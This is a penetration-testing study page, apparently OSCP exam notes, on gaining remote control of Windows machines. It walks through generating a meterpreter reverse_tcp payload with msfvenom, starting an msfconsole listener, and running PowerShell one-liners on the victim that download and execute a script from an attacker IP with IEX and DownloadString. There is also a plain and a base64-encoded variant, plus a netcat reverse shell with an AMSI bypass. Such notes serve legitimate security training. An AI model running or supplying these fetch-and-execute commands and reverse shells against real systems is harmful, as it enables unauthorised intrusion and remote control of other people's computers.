> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/powershell-shellcode-runner.md).

# Powershell Shellcode Runner

<details>

<summary>Powershell Shellcode Runner</summary>

* Download all files from <https://github.com/n000b3r/PrivEsc/tree/main/Windows/ps_shellcode_runner>
* Change Line 1 of `runall.ps1` to Kali's IP
* Host using gup / python http server on Kali&#x20;
  * If is64ps = False, have to change to 32bit payload (windows/meterpreter/reverse\_tcp)

<figure><img src="/files/BKeQnCZ63B3RsFjZYn8K" alt=""><figcaption></figcaption></figure>

* Generate the following payload & put in line 44 of shellcoderunner.ps1

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f powershell
```

* Start Msfconsole listener

```bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
```

* Run following in victim

```powershell
#In CMD.exe
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.61.128/runall.ps1')

#In Powershell.exe
IEX (New-Object Net.WebClient).DownloadString('http://192.168.61.128/runall.ps1')

#Base64 encoded powershell
IEX (New-Object Net.WebClient).DownloadString('http://192.168.61.128/runall.ps1') save to to_encode.txt
python b64_encode.py to_encode.txt
powershell -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA3AC8AcgB1AG4AYQBsAGwALgBwAHMAMQAnACkA
```

</details>

<details>

<summary>Simple Powershell Reverse shell with AMSI Bypass (<a href="https://github.com/n000b3r/PrivEsc/blob/main/Windows/ps_shellcode_runner/simple_ps_revshell.ps1">simple_ps_revshell.ps1</a>)</summary>

* Download all files from <https://github.com/n000b3r/PrivEsc/tree/main/Windows/simple_ps_revshell>
* Change Line 1 in runall.ps1 to Kali's IP
* Change IP and port in simple\_ps\_revshell.ps1

```powershell
# Start nc listener
    nc -lvp 443

# In victim's cmd shell
    powershell -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.61.128/runall.ps1')

# OR encoded powershell command
    IEX (New-Object Net.WebClient).DownloadString('http://192.168.61.128/runall.ps1') save to to_encode.txt 
    python b64_encode.py to_encode.txt 
    powershell -e <b64 payload>
```

</details>